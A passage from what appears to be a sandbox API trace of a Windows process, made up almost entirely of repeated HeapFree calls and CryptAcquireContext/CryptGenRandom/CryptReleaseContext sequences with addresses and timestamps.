HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0031.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0031.068] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.069] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.069] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.069] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.070] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.070] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.070] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.071] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.071] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.071] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.071] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.071] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.071] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.072] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.072] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.072] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.073] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.073] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.073] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.074] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.074] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.074] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.074] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.074] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.074] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.075] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.075] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.075] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.076] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.076] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.076] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.077] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.077] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.077] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.078] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.078] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.078] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.078] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.079] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.079] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.079] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.079] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.079] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.080] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.080] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.080] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.081] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.081] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.081] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.082] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.082] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.082] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.083] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.083] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.083] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.083] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.084] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.084] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.084] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.084] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.084] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.085] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.085] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.085] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.086] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.086] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.086] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.087] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.087] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.087] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.087] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.087] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.087] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.088] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.088] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.088] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.089] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.089] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.089] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.090] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.090] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.090] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.090] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.090] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.090] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.091] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.091] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.091] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.092] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.092] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.092] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0031.093] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0031.093] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0031.093] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0031.094] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0031.094] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0031.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0031.099] HeapFree (in: 